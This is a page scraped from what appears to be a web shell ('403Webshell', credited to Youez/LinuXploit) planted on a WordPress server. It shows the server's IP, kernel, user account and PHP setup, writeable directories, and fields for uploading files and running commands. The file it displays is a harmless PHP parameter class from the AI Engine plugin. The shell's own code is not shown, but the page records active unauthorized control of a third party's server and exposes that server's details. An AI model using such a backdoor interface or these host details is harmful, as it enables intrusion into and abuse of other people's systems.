403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/public_html/wp-content/plugins/ai-engine/classes/queries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/public_html/wp-content/plugins/ai-engine/classes/queries/parameter.php
<?php

class Meow_MWAI_Query_Parameter implements JsonSerializable {
  public string $name;
  public string $description;
  public string $type;
  public bool $required;
  
  public function __construct( string $name, string $description, string $type = "string", bool $required = false ) {
    // $name: The name of the function to be called. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 64.
    if ( !preg_match('/^[a-zA-Z0-9_-]{1,64}$/', $name) ) {
      throw new InvalidArgumentException( "Invalid function name." );
    }

    // Make sure the type is valid for JSON Schema.
    if ( !in_array( $type, [ 'string', 'number', 'integer', 'boolean', 'array', 'object' ] ) ) {
      throw new InvalidArgumentException( "Invalid parameter type ($type) for parameter '$name' in the function '$name'." );
    }

    $this->name = $name;
    $this->description = $description;
    $this->type = $type;
    $this->required = $required;
  }

  #[\ReturnTypeWillChange]
  public function jsonSerialize() {
    return [
      'type' => $this->type,
      'description' => $this->description
    ];
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit